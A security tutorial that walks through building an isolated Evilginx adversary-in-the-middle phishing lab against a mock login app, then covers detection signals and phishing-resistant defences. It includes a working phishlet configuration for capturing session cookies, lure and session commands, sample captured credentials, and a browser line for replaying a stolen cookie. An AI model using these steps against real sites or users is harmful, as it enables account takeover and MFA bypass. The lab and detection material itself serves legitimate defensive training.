
Identity & Phishing
https://hmmnm.com/build-an-aitm-phishing-lab-with-evilginx-understanding-session-cookie-theft-and-detection/
Evilginx is an adversary-in-the-middle (AiTM) framework that proxies the real login page to a victim, capturing both credentials and session cookies as they flow through the attacker’s server — defeating MFA entirely. Detection hinges on three signal classes: impossible-travel and token-replay anomalies, lookalike-domain and certificate-pattern infrastructure indicators, and reverse-proxy TLS fingerprints.
Traditional phishing defense assumed attackers would steal a password and get stopped at the MFA gate. AiTM kits like Evilginx, EvilProxy, and Tycoon 2MF throw that assumption out the window — the attacker doesn’t guess your token, they consume it for you. This guide walks you through building a fully isolated Evilginx phishing lab so you can see the attack mechanics firsthand, then flips to the blue-team side: the detection signals that actually catch session theft.
Before you touch Evilginx, internalize the boundary. Evilginx is a dual-use offensive tool; running it against real domains, real accounts, or any system you don’t own is a criminal offense in most jurisdictions — unauthorized computer access under laws like the U.S. Computer Fraud and Abuse Act or the UK Computer Misuse Act. CISA’s advisory on AiTM phishing (AA22-280A) documents the real-world damage these kits cause; don’t add to it.
Your lab safety rules:
lab.local), and DNS must all be yours.You need three nodes on an isolated subnet — say 192.168.56.0/24 in host-only mode:
flask-login, or a Node/Express app with express-session. Give it a username/password form, an MFA-style second step (a static OTP is fine), and issue a session cookie on success.The mock app is deliberate. Practicing against a local application teaches you phishlet mechanics — proxy rules, domain substitution, cookie capture — without touching a real identity provider. Map app.lab.local to the target server and login.lab.local (your phishing hostname) to the attacker box in a lab DNS zone (dnsmasq on the attacker box works well).
Evilginx is written in Go; install Go 1.20+, then clone and build:
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets
Key configuration concepts:
phishlets: YAML files defining the proxied target — hostnames, TLS, subfilters, and captured cookies.domain: set to your lab domain (evilginx config domain lab.local).ip: the attacker box IP (evilginx config ip 192.168.56.10).hostname: per-phishlet mapping of the phishing subdomain.Evilginx normally auto-provisions Let’s Encrypt certificates; in an offline lab, use its -developer mode and self-signed certs, then import the CA into the victim browser’s trust store.
A phishlet is a YAML config defining the target domain, proxy hosts, subfilters, and which auth cookies the kit should capture. A minimal skeleton for your mock app:
name: labapp
proxy_domains:
- phishing_host: login.lab.local
target_domain: app.lab.local
subfilters:
- hostname: app.lab.local
search: https://app.lab.local
replace: https://login.lab.local
auth_tokens:
- domain: app.lab.local
keys: ["session"]
type: cookie
What each section does:
login.lab.local is transparently relayed to app.lab.local.session cookie is the entire game — that’s the stolen session.Activate with evilginx phishlets hostname labapp login.lab.local and evilginx lures create labapp. The lure URL is your phishing link.
On the victim VM, open the browser and hit the lure URL. What happens next is the whole AiTM lesson:
auth_tokens rule, then passes it to the victim’s browser so the login completes normally.Evilginx output at capture looks like this (trimmed):
[2025-01-14 10:42:07] [labapp] hostname : login.lab.local
[2025-01-14 10:42:19] session_id : r4nd0ms3ss10n1d
[2025-01-14 10:42:19] username : victim1
[2025-01-14 10:42:19] password : LabPass!2025
[2025-01-14 10:42:31] [auth] captured cookie: session=eyJhbGci... (domain: app.lab.local)
Copy the session with evilginx sessions get 1. Note the absence of any error, delay, or anomaly on the victim side — that’s the problem in a nutshell.
Now demonstrate hijacking. On the attacker box — or anywhere with network reach to the target, which is exactly the point — open a browser and import the cookie. A cookie editor extension or the browser devtools console works:
document.cookie = "session=eyJhbGci...; path=/; domain=app.lab.local";
Navigate to the app. You’re in. No credentials, no OTP prompt, no MFA push. The application cannot distinguish you from the victim — your session cookie is the victim as far as it’s concerned. This is session hijacking via token theft, mapped by OWASP to the Session Side Effects and authentication-bypass patterns in its Session Management Cheat Sheet (owasp.org).
Here’s the mechanism, precisely. Standard MFA — TOTP codes, push approvals, SMS OTP — authenticates a login flow, not a session. Because Evilginx sits in the middle of the flow, the MFA challenge is consumed by the attacker on the victim’s behalf. The victim types the code into a real-looking page; the code reaches the real IdP through the proxy; the resulting session token flows back through the attacker’s hands before reaching the victim. The attacker then reuses the token in their own browser.
MFA was never designed to withstand this. It verifies that someone holding the user’s second factor is present during login — and the attacker made sure they were, just via a proxy. Phishing-resistant methods (covered below) fail closed because they cryptographically bind the ceremony to the legitimate origin, which the proxy cannot fake.
The attacker won the login; they still have to use the session — and that’s where telemetry shows up:
Microsoft’s detection guidance for AiTM (technique T1557 in MITRE ATT&CK, and T1185 for browser session hijacking) is a solid reference for building these analytics (attack.mitre.org).
Network-level signals appear before the session is ever stolen:
login-secure-sso[.]com patterns are a classic.Layer these — no single control is sufficient:
Clean up properly: revert all VMs to snapshots, delete the lab DNS zone and any imported self-signed CA from the victim’s trust store, and wipe Evilginx session data (~/.evilginx/). Leave nothing running — a forgotten proxy listening on any reachable interface is a risk you don’t want.
Extensions for continued practice:
Yes — in a fully isolated lab, against applications and accounts you own. Using Evilginx against real domains, live accounts, or third-party systems is illegal in most jurisdictions under computer misuse and fraud laws. Keep the lab off any network with internet access and use only local domains.
No. Standard OTP and push-based MFA are proxied transparently — the attacker consumes the challenge on the victim’s behalf and walks away with the resulting session token. Only phishing-resistant methods like FIDO2/passkeys stop token capture, because they cryptographically bind authentication to the legitimate origin.
Session token replay from unfamiliar IPs and user agents, impossible-travel sign-in anomalies, lookalike domains surfacing in certificate transparency logs, and reverse-proxy TLS fingerprints (JA3/JA4 mismatches) are the core signals.
A YAML configuration file defining the target domain, proxy hostnames, body-rewriting subfilters, and which auth cookies the kit should capture. Phishlets are the adaptable payload of the framework — one per targeted identity provider.
Phishing-resistant MFA (passkeys), device-bound tokens, conditional access with device compliance checks, and short session lifetimes. Layered together, they remove both the initial capture and the replay opportunity.